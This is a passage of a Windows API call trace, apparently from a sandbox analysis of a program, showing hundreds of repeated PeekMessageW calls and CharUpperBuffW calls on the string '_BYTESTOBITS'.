wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.790] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.791] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.792] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.792] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.792] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.792] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.793] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.793] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.794] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.794] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.795] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.795] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.796] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.796] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.797] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.797] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.797] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.797] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.797] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.798] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.798] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.798] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.798] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.798] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.798] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.798] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.798] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.798] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.799] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.799] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.799] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.799] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.799] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.799] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.799] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.799] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.799] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.799] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.800] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.800] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.800] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.800] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.800] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.800] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.800] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.800] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.800] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.801] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.801] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.801] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.801] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.801] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.801] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.801] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.801] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.802] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.802] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.802] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.802] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.802] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.802] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.802] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.802] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.802] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.802] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.803] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.803] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.803] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.803] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.803] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.803] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.803] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.803] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.804] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.804] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.804] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.804] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.804] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.804] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.804] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.804] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.804] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.805] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.805] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.805] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.805] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.805] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.805] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.805] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.805] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.805] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.805] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.806] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.806] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.806] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.806] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.806] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.806] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.806] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.806] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.806] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.806] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.807] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.807] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.807] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.807] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.807] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.807] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.808] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.808] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.808] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.808] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.808] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.808] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.808] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.808] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.809] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.809] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.809] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.809] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.809] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.809] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.809] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.810] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.810] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.810] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.810] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.810] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.810] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.810] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.811] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.811] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.811] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.811] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.811] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.811] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.811] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.812] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.812] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.812] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.812] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.812] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.812] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.812] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.812] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.813] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.813] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.813] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.813] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.813] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.813] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.813] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.813] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.813] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.814] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.814] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.814] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.814] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.814] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.814] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.814] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.814] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.814] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.814] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.815] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.815] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: 